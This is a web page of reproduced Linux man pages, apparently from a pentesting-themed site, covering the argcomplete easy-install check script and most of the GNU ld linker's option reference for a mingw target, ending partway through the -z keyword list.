➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command python-argcomplete-check-easy-install-script and provides detailed information about the command python-argcomplete-check-easy-install-script, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the python-argcomplete-check-easy-install-script.

NAME 🖥️ python-argcomplete-check-easy-install-script 🖥️

argcomplete-check-easy-install-script - python-argcomplete-check-easy-install-script - argcomplete utility script

DESCRIPTION

This script is part of the Python argcomplete package (https://github.com/kislyuk/argcomplete). It is used to check if an EASY-INSTALL-SCRIPT wrapper redirects to a script that contains the string “PYTHON_ARGCOMPLETE_OK”. If you have enabled global completion in argcomplete, the completion hook will run it every time you press <TAB> in your shell.

Usage:

python-argcomplete-check-easy-install-script <input executable file>

AUTHORS

argcomplete module was written by Andrey Kislyuk

SEE ALSO

Full documentation for argccomplete module is stored at https://argcomplete.readthedocs.org/en/latest/

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

398 - Linux cli command x86_64-w64-mingw32ucrt-ld.bfd

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command x86_64-w64-mingw32ucrt-ld.bfd and provides detailed information about the command x86_64-w64-mingw32ucrt-ld.bfd, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the x86_64-w64-mingw32ucrt-ld.bfd.

NAME 🖥️ x86_64-w64-mingw32ucrt-ld.bfd 🖥️

The GNU linker

SYNOPSIS

ld [options] objfile

DESCRIPTION

ld combines a number of object and archive files, relocates their data and ties up symbol references. Usually the last step in compiling a program is to run ld.

ld accepts Linker Command Language files written in a superset of AT&T’s Link Editor Command Language syntax, to provide explicit and total control over the linking process.

This man page does not describe the command language; see the ld entry in info for full details on the command language and on other aspects of the GNU linker.

This version of ld uses the general purpose BFD libraries to operate on object files. This allows ld to read, combine, and write object files in many different formats—for example, COFF or a.out. Different formats may be linked together to produce any available kind of object file.

Aside from its flexibility, the GNU linker is more helpful than other linkers in providing diagnostic information. Many linkers abandon execution immediately upon encountering an error; whenever possible, ld continues executing, allowing you to identify other errors (or, in some cases, to get an output file in spite of the error).

The GNU linker ld is meant to cover a broad range of situations, and to be as compatible as possible with other linkers. As a result, you have many choices to control its behavior.

OPTIONS

The linker supports a plethora of command-line options, but in actual practice few of them are used in any particular context. For instance, a frequent use of ld is to link standard Unix object files on a standard, supported Unix system. On such a system, to link a file hello.o:

ld -o <output> /lib/crt0.o hello.o -lc

This tells ld to produce a file called output as the result of linking the file /lib/crt0.o with hello.o and the library libc.a, which will come from the standard search directories. (See the discussion of the -l option below.)

Some of the command-line options to ld may be specified at any point in the command line. However, options which refer to files, such as -l or -T, cause the file to be read at the point at which the option appears in the command line, relative to the object files and other file options. Repeating non-file options with a different argument will either have no further effect, or override prior occurrences (those further to the left on the command line) of that option. Options which may be meaningfully specified more than once are noted in the descriptions below.

Non-option arguments are object files or archives which are to be linked together. They may follow, precede, or be mixed in with command-line options, except that an object file argument may not be placed between an option and its argument.

Usually the linker is invoked with at least one object file, but you can specify other forms of binary input files using -l, -R, and the script command language. If no binary input files at all are specified, the linker does not produce any output, and issues the message No input files.

If the linker cannot recognize the format of an object file, it will assume that it is a linker script. A script specified in this way augments the main linker script used for the link (either the default linker script or the one specified by using -T). This feature permits the linker to link against a file which appears to be an object or an archive, but actually merely defines some symbol values, or uses INPUT or GROUP to load other objects. Specifying a script in this way merely augments the main linker script, with the extra commands placed after the main script; use the -T option to replace the default linker script entirely, but note the effect of the INSERT command.

For options whose names are a single letter, option arguments must either follow the option letter without intervening whitespace, or be given as separate arguments immediately following the option that requires them.

For options whose names are multiple letters, either one dash or two can precede the option name; for example, -trace-symbol and –trace-symbol are equivalent. Note—there is one exception to this rule. Multiple letter options that start with a lower case ‘o’ can only be preceded by two dashes. This is to reduce confusion with the -o option. So for example -omagic sets the output file name to magic whereas –omagic sets the NMAGIC flag on the output.

Arguments to multiple-letter options must either be separated from the option name by an equals sign, or be given as separate arguments immediately following the option that requires them. For example, –trace-symbol foo and –trace-symbol=foo are equivalent. Unique abbreviations of the names of multiple-letter options are accepted.

Note—if the linker is being invoked indirectly, via a compiler driver (e.g. gcc) then all the linker command-line options should be prefixed by -Wl, (or whatever is appropriate for the particular compiler driver) like this:

gcc -Wl,–start-group foo.o bar.o -Wl,–end-group

This is important, because otherwise the compiler driver program may silently drop the linker options, resulting in a bad link. Confusion may also arise when passing options that require values through a driver, as the use of a space between option and argument acts as a separator, and causes the driver to pass only the option to the linker and the argument to the compiler. In this case, it is simplest to use the joined forms of both single- and multiple-letter options, such as:

gcc foo.o bar.o -Wl,-eENTRY -Wl,-Map=a.map

Here is a table of the generic command-line switches accepted by the GNU linker:

  1. Read command-line options from file. The options read are inserted in place of the original @file option. If file does not exist, or cannot be read, then the option will be treated literally, and not removed. Options in file are separated by whitespace. A whitespace character may be included in an option by surrounding the entire option in either single or double quotes. Any character (including a backslash) may be included by prefixing the character to be included with a backslash. The file may itself contain additional @file options; any such options will be processed recursively.

-a keyword
This option is supported for HP/UX compatibility. The keyword argument must be one of the strings archive, shared, or default. -aarchive is functionally equivalent to -Bstatic, and the other two keywords are functionally equivalent to -Bdynamic. This option may be used any number of times.

–audit AUDITLIB
Adds AUDITLIB to the DT_AUDIT entry of the dynamic section. AUDITLIB is not checked for existence, nor will it use the DT_SONAME specified in the library. If specified multiple times DT_AUDIT will contain a colon separated list of audit interfaces to use. If the linker finds an object with an audit entry while searching for shared libraries, it will add a corresponding DT_DEPAUDIT entry in the output file. This option is only meaningful on ELF platforms supporting the rtld-audit interface.

-b input-format

–format=input-format

ld may be configured to support more than one kind of object file. If your ld is configured this way, you can use the -b option to specify the binary format for input object files that follow this option on the command line. Even when ld is configured to support alternative object formats, you don’t usually need to specify this, as ld should be configured to expect as a default input format the most usual format on each machine. input-format is a text string, the name of a particular format supported by the BFD libraries. (You can list the available binary formats with objdump -i.) You may want to use this option if you are linking files with an unusual binary format. You can also use -b to switch formats explicitly (when linking object files of different formats), by including -b input-format before each group of object files in a particular format. The default format is taken from the environment variable GNUTARGET. You can also define the input format from a script, using the command TARGET;

-c MRI-commandfile

–mri-script=MRI-commandfile

For compatibility with linkers produced by MRI, ld accepts script files written in an alternate, restricted command language, described in the MRI Compatible Script Files section of GNU ld documentation. Introduce MRI script files with the option -c; use the -T option to run linker scripts written in the general-purpose ld scripting language. If MRI-cmdfile does not exist, ld looks for it in the directories specified by any -L options.

-d

-dc

-dp

These three options are equivalent; multiple forms are supported for compatibility with other linkers. They assign space to common symbols even if a relocatable output file is specified (with -r). The script command FORCE_COMMON_ALLOCATION has the same effect.

–depaudit AUDITLIB

-P AUDITLIB

Adds AUDITLIB to the DT_DEPAUDIT entry of the dynamic section. AUDITLIB is not checked for existence, nor will it use the DT_SONAME specified in the library. If specified multiple times DT_DEPAUDIT will contain a colon separated list of audit interfaces to use. This option is only meaningful on ELF platforms supporting the rtld-audit interface. The -P option is provided for Solaris compatibility.

–enable-linker-version
Enables the LINKER_VERSION linker script directive, described in Output Section Data. If this directive is used in a linker script and this option has been enabled then a string containing the linker version will be inserted at the current point. Note - this location of this option on the linker command line is significant. It will only affect linker scripts that come after it on the command line, or which are built into the linker.

–disable-linker-version
Disables the LINKER_VERSION linker script directive, so that it does not insert a version string. This is the default.

–enable-non-contiguous-regions
This option avoids generating an error if an input section does not fit a matching output section. The linker tries to allocate the input section to subseque nt matching output sections, and generates an error only if no output section is large enough. This is useful when several non-contiguous memory regions are available and the input section does not require a particular one. The order in which input sections are evaluated does not change, for instance: MEMORY { MEM1 (rwx) : ORIGIN = 0x1000, LENGTH = 0x14 MEM2 (rwx) : ORIGIN = 0x1000, LENGTH = 0x40 MEM3 (rwx) : ORIGIN = 0x2000, LENGTH = 0x40 } SECTIONS { mem1 : { *(.data.*); } > MEM1 mem2 : { *(.data.*); } > MEM2 mem3 : { *(.data.*); } > MEM3 } with input sections: .data.1: size 8 .data.2: size 0x10 .data.3: size 4 results in .data.1 affected to mem1, and .data.2 and .data.3 affected to mem2, even though .data.3 would fit in mem3. This option is incompatible with INSERT statements because it changes the way input sections are mapped to output sections.

–enable-non-contiguous-regions-warnings
This option enables warnings when --enable-non-contiguous-regions allows possibly unexpected matches in sections mapping, potentially leading to silently discarding a section instead of failing because it does not fit any output region.

-e entry

–entry=entry

Use entry as the explicit symbol for beginning execution of your program, rather than the default entry point. If there is no symbol named entry, the linker will try to parse entry as a number, and use that as the entry address (the number will be interpreted in base 10; you may use a leading 0x for base 16, or a leading 0 for base 8).

–exclude-libs lib,lib,…
Specifies a list of archive libraries from which symbols should not be automatically exported. The library names may be delimited by commas or colons. Specifying --exclude-libs ALL excludes symbols in all archive libraries from automatic export. This option is available only for the i386 PE targeted port of the linker and for ELF targeted ports. For i386 PE, symbols explicitly listed in a .def file are still exported, regardless of this option. For ELF targeted ports, symbols affected by this option will be treated as hidden.

–exclude-modules-for-implib module,module,…
Specifies a list of object files or archive members, from which symbols should not be automatically exported, but which should be copied wholesale into the import library being generated during the link. The module names may be delimited by commas or colons, and must match exactly the filenames used by ld to open the files; for archive members, this is simply the member name, but for object files the name listed must include and match precisely any path used to specify the input file on the linker’s command-line. This option is available only for the i386 PE targeted port of the linker. Symbols explicitly listed in a .def file are still exported, regardless of this option.

-E

–export-dynamic

–no-export-dynamic

When creating a dynamically linked executable, using the -E option or the –export-dynamic option causes the linker to add all symbols to the dynamic symbol table. The dynamic symbol table is the set of symbols which are visible from dynamic objects at run time. If you do not use either of these options (or use the –no-export-dynamic option to restore the default behavior), the dynamic symbol table will normally contain only those symbols which are referenced by some dynamic object mentioned in the link. If you use dlopen to load a dynamic object which needs to refer back to the symbols defined by the program, rather than some other dynamic object, then you will probably need to use this option when linking the program itself. You can also use the dynamic list to control what symbols should be added to the dynamic symbol table if the output format supports it. See the description of –dynamic-list. Note that this option is specific to ELF targeted ports. PE targets support a similar function to export all symbols from a DLL or EXE; see the description of –export-all-symbols below.

–export-dynamic-symbol=glob
When creating a dynamically linked executable, symbols matching glob will be added to the dynamic symbol table. When creating a shared library, references to symbols matching glob will not be bound to the definitions within the shared library. This option is a no-op when creating a shared library and -Bsymbolic or –dynamic-list are not specified. This option is only meaningful on ELF platforms which support shared libraries.

–export-dynamic-symbol-list=file
Specify a –export-dynamic-symbol for each pattern in the file. The format of the file is the same as the version node without scope and node name. See VERSION for more information.

-EB
Link big-endian objects. This affects the default output format.

-EL
Link little-endian objects. This affects the default output format.

-f name

–auxiliary=name

When creating an ELF shared object, set the internal DT_AUXILIARY field to the specified name. This tells the dynamic linker that the symbol table of the shared object should be used as an auxiliary filter on the symbol table of the shared object name. If you later link a program against this filter object, then, when you run the program, the dynamic linker will see the DT_AUXILIARY field. If the dynamic linker resolves any symbols from the filter object, it will first check whether there is a definition in the shared object name. If there is one, it will be used instead of the definition in the filter object. The shared object name need not exist. Thus the shared object name may be used to provide an alternative implementation of certain functions, perhaps for debugging or for machine-specific performance. This option may be specified more than once. The DT_AUXILIARY entries will be created in the order in which they appear on the command line.

-F name

–filter=name

When creating an ELF shared object, set the internal DT_FILTER field to the specified name. This tells the dynamic linker that the symbol table of the shared object which is being created should be used as a filter on the symbol table of the shared object name. If you later link a program against this filter object, then, when you run the program, the dynamic linker will see the DT_FILTER field. The dynamic linker will resolve symbols according to the symbol table of the filter object as usual, but it will actually link to the definitions found in the shared object name. Thus the filter object can be used to select a subset of the symbols provided by the object name. Some older linkers used the -F option throughout a compilation toolchain for specifying object-file format for both input and output object files. The GNU linker uses other mechanisms for this purpose: the -b, –format, –oformat options, the TARGET command in linker scripts, and the GNUTARGET environment variable. The GNU linker will ignore the -F option when not creating an ELF shared object.

-fini=name
When creating an ELF executable or shared object, call NAME when the executable or shared object is unloaded, by setting DT_FINI to the address of the function. By default, the linker uses _fini as the function to call.

-g
Ignored. Provided for compatibility with other tools.

-G value

–gpsize=value

Set the maximum size of objects to be optimized using the GP register to size. This is only meaningful for object file formats such as MIPS ELF that support putting large and small objects into different sections. This is ignored for other object file formats.

-h name

-soname=name

When creating an ELF shared object, set the internal DT_SONAME field to the specified name. When an executable is linked with a shared object which has a DT_SONAME field, then when the executable is run the dynamic linker will attempt to load the shared object specified by the DT_SONAME field rather than using the file name given to the linker.

-i
Perform an incremental link (same as option -r).

-init=name
When creating an ELF executable or shared object, call NAME when the executable or shared object is loaded, by setting DT_INIT to the address of the function. By default, the linker uses _init as the function to call.

-l namespec

–library=namespec

Add the archive or object file specified by namespec to the list of files to link. This option may be used any number of times. If namespec is of the form :filename, ld will search the library path for a file called filename, otherwise it will search the library path for a file called libnamespec.a. On systems which support shared libraries, ld may also search for files other than libnamespec.a. Specifically, on ELF and SunOS systems, ld will search a directory for a library called libnamespec.so before searching for one called libnamespec.a. (By convention, a .so extension indicates a shared library.) Note that this behavior does not apply to :filename, which always specifies a file called filename. The linker will search an archive only once, at the location where it is specified on the command line. If the archive defines a symbol which was undefined in some object which appeared before the archive on the command line, the linker will include the appropriate file(s) from the archive. However, an undefined symbol in an object appearing later on the command line will not cause the linker to search the archive again. See the -( option for a way to force the linker to search archives multiple times. You may list the same archive multiple times on the command line. This type of archive searching is standard for Unix linkers. However, if you are using ld on AIX, note that it is different from the behaviour of the AIX linker.

-L searchdir

–library-path=searchdir

Add path searchdir to the list of paths that ld will search for archive libraries and ld control scripts. You may use this option any number of times. The directories are searched in the order in which they are specified on the command line. Directories specified on the command line are searched before the default directories. All -L options apply to all -l options, regardless of the order in which the options appear. -L options do not affect how ld searches for a linker script unless -T option is specified. If searchdir begins with = or $SYSROOT, then this prefix will be replaced by the sysroot prefix, controlled by the –sysroot option, or specified when the linker is configured. The default set of paths searched (without being specified with -L) depends on which emulation mode ld is using, and in some cases also on how it was configured. The paths can also be specified in a link script with the SEARCH_DIR command. Directories specified this way are searched at the point in which the linker script appears in the command line.

-m emulation
Emulate the emulation linker. You can list the available emulations with the –verbose or -V options. If the -m option is not used, the emulation is taken from the LDEMULATION environment variable, if that is defined. Otherwise, the default emulation depends upon how the linker was configured.

–remap-inputs=pattern=filename

–remap-inputs-file=file

These options allow the names of input files to be changed before the linker attempts to open them. The option –remap-inputs=foo.o=bar.o will cause any attempt to load a file called foo.o to instead try to load a file called bar.o. Wildcard patterns are permitted in the first filename, so –remap-inputs=foo*.o=bar.o will rename any input file that matches foo*.o to bar.o. An alternative form of the option –remap-inputs-file=filename allows the remappings to be read from a file. Each line in the file can contain a single remapping. Blank lines are ignored. Anything from a hash character (#) to the end of a line is considered to be a comment and is also ignored. The mapping pattern can be separated from the filename by whitespace or an equals (=) character. The options can be specified multiple times. Their contents accumulate. The remappings will be processed in the order in which they occur on the command line, and if they come from a file, in the order in which they occur in the file. If a match is made, no further checking for that filename will be performed. If the replacement filename is /dev/null or just NUL then the remapping will actually cause the input file to be ignored. This can be a convenient way to experiment with removing input files from a complicated build environment. Note that this option is position dependent and only affects filenames that come after it on the command line. Thus: ld foo.o –remap-inputs=foo.o=bar.o Will have no effect, whereas: ld –remap-inputs=foo.o=bar.o foo.o Will rename the input file foo.o to bar.o. Note - these options also affect files referenced by INPUT statements in linker scripts. But since linker scripts are processed after the entire command line is read, the position of the remap options on the command line is not significant. If the verbose option is enabled then any mappings that match will be reported, although again the verbose option needs to be enabled on the command line before the remaped filenames appear. If the -Map or –print-map options are enabled then the remapping list will be included in the map output.

-M

–print-map

Print a link map to the standard output. A link map provides information about the link, including the following:

  • Where object files are mapped into memory.

  • How common symbols are allocated.

  • All archive members included in the link, with a mention of the symbol which caused the archive member to be brought in.

  • The values assigned to symbols. Note - symbols whose values are computed by an expression which involves a reference to a previous value of the same symbol may not have correct result displayed in the link map. This is because the linker discards intermediate results and only retains the final value of an expression. Under such circumstances the linker will display the final value enclosed by square brackets. Thus for example a linker script containing: foo = 1 foo = foo * 4 foo = foo + 8 will produce the following output in the link map if the -M option is used: 0x00000001 foo = 0x1 [0x0000000c] foo = (foo * 0x4) [0x0000000c] foo = (foo + 0x8) See Expressions for more information about expressions in linker scripts.

  • How GNU properties are merged. When the linker merges input .note.gnu.property sections into one output .note.gnu.property section, some properties are removed or updated. These actions are reported in the link map. For example: Removed property 0xc0000002 to merge foo.o (0x1) and bar.o (not found) This indicates that property 0xc0000002 is removed from output when merging properties in foo.o, whose property 0xc0000002 value is 0x1, and bar.o, which doesn’t have property 0xc0000002. Updated property 0xc0010001 (0x1) to merge foo.o (0x1) and bar.o (0x1) This indicates that property 0xc0010001 value is updated to 0x1 in output when merging properties in foo.o, whose 0xc0010001 property value is 0x1, and bar.o, whose 0xc0010001 property value is 0x1.

  • On some ELF targets, a list of fixups inserted by –relax foo.o: Adjusting branch at 0x00000008 towards “far” in section .text This indicates that the branch at 0x00000008 in foo.o, targeting the symbol “far” in section .text, has been replaced by a trampoline.

–print-map-discarded

–no-print-map-discarded

Print (or do not print) the list of discarded and garbage collected sections in the link map. Enabled by default.

–print-map-locals

–no-print-map-locals

Print (or do not print) local symbols in the link map. Local symbols will have the text (local) printed before their name, and will be listed after all of the global symbols in a given section. Temporary local symbols (typically those that start with .L) will not be included in the output. Disabled by default.

-n

–nmagic

Turn off page alignment of sections, and disable linking against shared libraries. If the output format supports Unix style magic numbers, mark the output as NMAGIC.

-N

–omagic

Set the text and data sections to be readable and writable. Also, do not page-align the data segment, and disable linking against shared libraries. If the output format supports Unix style magic numbers, mark the output as OMAGIC. Note: Although a writable text section is allowed for PE-COFF targets, it does not conform to the format specification published by Microsoft.

–no-omagic
This option negates most of the effects of the -N option. It sets the text section to be read-only, and forces the data segment to be page-aligned. Note - this option does not enable linking against shared libraries. Use -Bdynamic for this.

-o output

–output=output

Use output as the name for the program produced by ld; if this option is not specified, the name a.out is used by default. The script command OUTPUT can also specify the output file name. Note - the linker will delete the output file before it starts to write to it. It will do this even if it turns out that the link cannot be completed due to errors. Note - the linker will check to make sure that the output file name does not match the name of any of the input files, but that is all. In particular it will not complain if the output file might overwrite a source file or some other important file. Therefore in build systems it is recommended to use the -o option as the last option on the linker command line. For example consider: ld -o $(EXE) $(OBJS) ld $(OBJS) -o $(EXE) If the EXE variable is not defined for some reason, the first version of the linker command could end up deleting one of the object files (the first one in the OBJS list) whereas the second version of the linker command will generate an error message and not delete anything.

–dependency-file=depfile
Write a dependency file to depfile. This file contains a rule suitable for make describing the output file and all the input files that were read to produce it. The output is similar to the compiler’s output with -M -MP. Note that there is no option like the compiler’s -MM, to exclude “system files” (which is not a well-specified concept in the linker, unlike “system headers” in the compiler). So the output from –dependency-file is always specific to the exact state of the installation where it was produced, and should not be copied into distributed makefiles without careful editing.

-O level
If level is a numeric values greater than zero ld optimizes the output. This might take significantly longer and therefore probably should only be enabled for the final binary. At the moment this option only affects ELF shared library generation. Future releases of the linker may make more use of this option. Also currently there is no difference in the linker’s behaviour for different non-zero values of this option. Again this may change with future releases.

-plugin name
Involve a plugin in the linking process. The name parameter is the absolute filename of the plugin. Usually this parameter is automatically added by the compiler, when using link time optimization, but users can also add their own plugins if they so wish. Note that the location of the compiler originated plugins is different from the place where the ar, nm and ranlib programs search for their plugins. In order for those commands to make use of a compiler based plugin it must first be copied into the ${libdir}/bfd-plugins directory. All gcc based linker plugins are backward compatible, so it is sufficient to just copy in the newest one.

–push-state
The –push-state allows one to preserve the current state of the flags which govern the input file handling so that they can all be restored with one corresponding –pop-state option. The option which are covered are: -Bdynamic, -Bstatic, -dn, -dy, -call_shared, -non_shared, -static, -N, -n, –whole-archive, –no-whole-archive, -r, -Ur, –copy-dt-needed-entries, –no-copy-dt-needed-entries, –as-needed, –no-as-needed, and -a. One target for this option are specifications for pkg-config. When used with the –libs option all possibly needed libraries are listed and then possibly linked with all the time. It is better to return something as follows: -Wl,–push-state,–as-needed -libone -libtwo -Wl,–pop-state

–pop-state
Undoes the effect of –push-state, restores the previous values of the flags governing input file handling.

-q

–emit-relocs

Leave relocation sections and contents in fully linked executables. Post link analysis and optimization tools may need this information in order to perform correct modifications of executables. This results in larger executables. This option is currently only supported on ELF platforms.

–force-dynamic
Force the output file to have dynamic sections. This option is specific to VxWorks targets.

-r

–relocatable

Generate relocatable output—i.e., generate an output file that can in turn serve as input to ld. This is often called partial linking. As a side effect, in environments that support standard Unix magic numbers, this option also sets the output file’s magic number to OMAGIC. If this option is not specified, an absolute file is produced. When linking C++ programs, this option will not resolve references to constructors; to do that, use -Ur. When an input file does not have the same format as the output file, partial linking is only supported if that input file does not contain any relocations. Different output formats can have further restrictions; for example some a.out-based formats do not support partial linking with input files in other formats at all. This option does the same thing as -i.

-R filename

–just-symbols=filename

Read symbol names and their addresses from filename, but do not relocate it or include it in the output. This allows your output file to refer symbolically to absolute locations of memory defined in other programs. You may use this option more than once. For compatibility with other ELF linkers, if the -R option is followed by a directory name, rather than a file name, it is treated as the -rpath option.

–rosegment

–no-rosegment

Attempt to ensure that only a single read-only, non-code segment is created. Only useful when used in conjunction with the -z separate-code option. The resulting binaries should be smaller than if -z separate-code is used on its own. Without this option, or if –no-rosegment is specified, the -z separate-code option will create two read-only segments, one before the code segment and one after it. The name of the options are misleading, but they have been chosen in order for the linker to be compatible with the LLD and GOLD linkers. Thse options are only supported by ELF targets.

-s

–strip-all

Omit all symbol information from the output file.

-S

–strip-debug

Omit debugger symbol information (but not all symbols) from the output file.

–strip-discarded

–no-strip-discarded

Omit (or do not omit) global symbols defined in discarded sections. Enabled by default.

-plugin-save-temps
Store the plugin “temporary” intermediate files permanently.

-t

–trace

Print the names of the input files as ld processes them. If -t is given twice then members within archives are also printed. -t output is useful to generate a list of all the object files and scripts involved in linking, for example, when packaging files for a linker bug report.

-T scriptfile

–script=scriptfile

Use scriptfile as the linker script. This script replaces ld’s default linker script (rather than adding to it), unless the script contains INSERT, so commandfile must specify everything necessary to describe the output file. If scriptfile does not exist in the current directory, ld looks for it in the directories specified by any preceding -L options. Command line options that appear before the -T option can affect the script, but command line options that appear after it do not. Multiple -T options will accumulate if they are augmenting the current script, otherwise the last, non-augmenting, -T option will be used. There are other ways of specifying linker scripts. See

-dT scriptfile

–default-script=scriptfile

Use scriptfile as the default linker script. This option is similar to the –script option except that processing of the script is delayed until after the rest of the command line has been processed. This allows options placed after the –default-script option on the command line to affect the behaviour of the linker script, which can be important when the linker command line cannot be directly controlled by the user. (eg because the command line is being constructed by another tool, such as gcc).

-u symbol

–undefined=symbol

Force symbol to be entered in the output file as an undefined symbol. Doing this may, for example, trigger linking of additional modules from standard libraries. -u may be repeated with different option arguments to enter additional undefined symbols. This option is equivalent to the EXTERN linker script command. If this option is being used to force additional modules to be pulled into the link, and if it is an error for the symbol to remain undefined, then the option –require-defined should be used instead.

–require-defined=symbol
Require that symbol is defined in the output file. This option is the same as option –undefined except that if symbol is not defined in the output file then the linker will issue an error and exit. The same effect can be achieved in a linker script by using EXTERN, ASSERT and DEFINED together. This option can be used multiple times to require additional symbols.

-Ur
For programs that do not use constructors or destructors, or for ELF based systems this option is equivalent to -r: it generates relocatable output—i.e., an output file that can in turn serve as input to ld. For other binaries however the -Ur option is similar to -r but it also resolves references to constructors and destructors. For those systems where -r and -Ur behave differently, it does not work to use -Ur on files that were themselves linked with -Ur; once the constructor table has been built, it cannot be added to. Use -Ur only for the last partial link, and -r for the others.

–orphan-handling=MODE
Control how orphan sections are handled. An orphan section is one not specifically mentioned in a linker script. MODE can have any of the following values:

“place”
Orphan sections are placed into a suitable output section following the strategy described in Orphan Sections. The option –unique also affects how sections are placed.

“discard”
All orphan sections are discarded, by placing them in the /DISCARD/ section.

“warn”
The linker will place the orphan section as for place and also issue a warning.

“error”
The linker will exit with an error if any orphan section is found.

The default if –orphan-handling is not given is place.

–unique[=SECTION]
Creates a separate output section for every input section matching SECTION, or if the optional wildcard SECTION argument is missing, for every orphan input section. An orphan section is one not specifically mentioned in a linker script. You may use this option multiple times on the command line; It prevents the normal merging of input sections with the same name, overriding output section assignments in a linker script.

-v

–version

-V

Display the version number for ld. The -V option also lists the supported emulations. See also the description of the –enable-linker-version in Options,,Command-line Options which can be used to insert the linker version string into a binary.

-x

–discard-all

Delete all local symbols.

-X

–discard-locals

Delete all temporary local symbols. (These symbols start with system-specific local label prefixes, typically .L for ELF systems or L for traditional a.out systems.)

-y symbol

–trace-symbol=symbol

Print the name of each linked file in which symbol appears. This option may be given any number of times. On many systems it is necessary to prepend an underscore. This option is useful when you have an undefined symbol in your link but don’t know where the reference is coming from.

-Y path
Add path to the default library search path. This option exists for Solaris compatibility.

-z keyword
The recognized keywords are:

call-nop=prefix-addr

call-nop=suffix-nop

call-nop=prefix-byte

call-nop=suffix-byte

Specify the 1-byte NOP padding when transforming indirect call to a locally defined function, foo, via its GOT slot. call-nop=prefix-addr generates 0x67 call foo. call-nop=suffix-nop generates call foo 0x90. **call-nop=prefix-**byte generates byte call foo. **call-nop=suffix-byte generates call foo byte. Supported for i386 and x86_64.

cet-report=none

cet-report=warning

cet-report=error

Specify how to report the missing GNU_PROPERTY_X86_FEATURE_1_IBT and GNU_PROPERTY_X86_FEATURE_1_SHSTK properties in input .note.gnu.property section. cet-report=none, which is the default, will make the linker not report missing properties in input files. cet-report=warning will make the linker issue a warning for missing properties in input files. cet-report=error will make the linker issue an error for missing properties in input files. Note that ibt will turn off the missing GNU_PROPERTY_X86_FEATURE_1_IBT property report and shstk will turn off the missing GNU_PROPERTY_X86_FEATURE_1_SHSTK property report. Supported for Linux/i386 and Linux/x86_64.

combreloc

nocombreloc

Combine multiple dynamic relocation sections and sort to improve dynamic symbol lookup caching. Do not do this if nocombreloc.

common

nocommon

Generate common symbols with STT_COMMON type during a relocatable link. Use STT_OBJECT type if nocommon.

common-page-size=value
Set the page size most commonly used to value. Memory image layout will be optimized to minimize memory pages if the system is using pages of this size.

defs
Report unresolved symbol references from regular object files. This is done even if the linker is creating a non-symbolic shared library. This option is the inverse of -z undefs.

dynamic-undefined-weak

nodynamic-undefined-weak

Make undefined weak symbols dynamic when building a dynamic object, if they are referenced from a regular object file and not forced local by symbol visibility or versioning. Do not make them dynamic if nodynamic-undefined-weak. If neither option is given, a target may default to either option being in force, or make some other selection of undefined weak symbols dynamic. Not all targets support these options.

execstack
Marks the object as requiring executable stack.

global
This option is only meaningful when building a shared object. It makes the symbols defined by this shared object available for symbol resolution of subsequently loaded libraries.

globalaudit
This option is only meaningful when building a dynamic executable. This option marks the executable as requiring global auditing by setting the DF_1_GLOBAUDIT bit in the DT_FLAGS_1 dynamic tag. Global auditing requires that any auditing library defined via the –depaudit or -P command-line options be run for all dynamic objects loaded by the application.

ibtplt
Generate Intel Indirect Branch Tracking (IBT) enabled PLT entries. Supported for Linux/i386 and Linux/x86_64.

ibt
Generate GNU_PROPERTY_X86_FEATURE_1_IBT in .note.gnu.property section to indicate compatibility with IBT. This also implies ibtplt. Supported for Linux/i386 and Linux/x86_64.

indirect-extern-access

noindirect-extern-access

Generate GNU_PROPERTY_1_NEEDED_INDIRECT_EXTERN_ACCESS in .note.gnu.property section to indicate that object file requires canonical function pointers and cannot be used with copy relocation. This option also implies noextern-protected-data and nocopyreloc. Supported for i386 and x86-64. noindirect-extern-access removes GNU_PROPERTY_1_NEEDED_INDIRECT_EXTERN_ACCESS from .note.gnu.property section.

initfirst
This option is only meaningful when building a shared object. It marks the object so that its runtime initialization will occur before the runtime initialization of any other objects brought into the process at the same time. Similarly the runtime finalization of the object will occur after the runtime finalization of any other objects.

interpose
Specify that the dynamic loader should modify its symbol search order so that symbols in this shared library interpose all other shared libraries not so marked.

unique

nounique

When generating a shared library or other dynamically loadable ELF object mark it as one that should (by default) only ever be loaded once, and only in the main namespace (when using dlmopen). This is primarily used to mark fundamental libraries such as libc, libpthread et al which do not usually function correctly unless they are the sole instances of themselves. This behaviour can be overridden by the dlmopen caller and does not apply to certain loading mechanisms (such as audit libraries).

lam-u48
Generate GNU_PROPERTY_X86_FEATURE_1_LAM_U48 in .note.gnu.property section to indicate compatibility with Intel LAM_U48. Supported for Linux/x86_64.

lam-u57
Generate GNU_PROPERTY_X86_FEATURE_1_LAM_U57 in .note.gnu.property section to indicate compatibility with Intel LAM_U57. Supported for Linux/x86_64.

lam-u48-report=none

lam-u48-report=warning

lam-u48-report=error

Specify how to report the missing GNU_PROPERTY_X86_FEATURE_1_LAM_U48 property in input .note.gnu.property section. lam-u48-report=none, which is the default, will make the linker not report missing properties in input files. lam-u48-report=warning will make the linker issue a warning for missing properties in input files. lam-u48-report=error will make the linker issue an error for missing properties in input files. Supported for Linux/x86_64.

lam-u57-report=none

lam-u57-report=warning

lam-u57-report=error

